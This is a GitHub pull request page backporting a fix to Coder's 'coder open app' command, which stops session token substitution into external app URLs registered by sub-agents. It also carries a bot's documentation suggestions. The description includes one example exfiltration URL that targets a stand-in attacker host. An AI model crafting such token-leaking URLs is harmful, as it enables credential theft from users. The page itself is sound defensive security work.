Thanks to visit codestin.com
Credit goes to github.com

Skip to content

fix: prevent session token exfiltration via external app URLs (#26146) - #26303

Merged
f0ssel merged 1 commit into
release/2.32from
backport/26146-to-2.32
Jun 11, 2026
Merged

fix: prevent session token exfiltration via external app URLs (#26146)#26303
f0ssel merged 1 commit into
release/2.32from
backport/26146-to-2.32

Conversation

@github-actions

Copy link
Copy Markdown
Contributor

Backport of #26146

Original PR: #26146 — fix: prevent session token exfiltration via external app URLs
Merge commit: 9b550cb
Requested by: @f0ssel

`coder open app` substituted the user's session token into any external
workspace-app URL containing `$SESSION_TOKEN` before opening, letting a
malicious sub-agent exfiltrate the token via a URL like
`https://attacker.example/?t=$SESSION_TOKEN`.

Substitution is now restricted to URLs from top-level
(template-authored) agents. Sub-agent URLs that still contain
`$SESSION_TOKEN` are printed for the user to inspect and substitute
manually rather than opened automatically. Sub-agent URLs without the
placeholder are unaffected.

(cherry picked from commit 9b550cb)
@github-actions
github-actions Bot requested a review from f0ssel June 11, 2026 20:10
@coderagents

coderagents Bot commented Jun 11, 2026

Copy link
Copy Markdown
Contributor

Documentation Check

Updates Needed

  • docs/user-guides/devcontainers/customizing-dev-containers.md - Removed the ### Session token section that documented $SESSION_TOKEN in devcontainer app URLs. This is correct: the pattern is now blocked for sub-agent apps.

  • docs/user-guides/devcontainers/customizing-dev-containers.md - The new warning behavior is undocumented. When a sub-agent app URL contains $SESSION_TOKEN, the CLI now prints the raw URL and asks the user to substitute manually instead of auto-opening it. Users who relied on this pattern will encounter the warning with no docs to explain why or what to do next.

    Suggested addition in the Variable interpolation section (or as a note near the removed section's location):

    Note: $SESSION_TOKEN is not automatically substituted in devcontainer app URLs. Because devcontainer app URLs are registered at runtime by code running inside the workspace, Coder cannot verify their origin. If a devcontainer app URL contains $SESSION_TOKEN, the CLI prints the URL and asks you to substitute the token manually before opening it. To have the token substituted automatically, define the app in the workspace template instead of the devcontainer configuration.


Automated review via Coder Tasks

@f0ssel
f0ssel merged commit 37332e6 into release/2.32 Jun 11, 2026
23 of 24 checks passed
@f0ssel
f0ssel deleted the backport/26146-to-2.32 branch June 11, 2026 20:29
@github-actions github-actions Bot locked and limited conversation to collaborators Jun 11, 2026
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants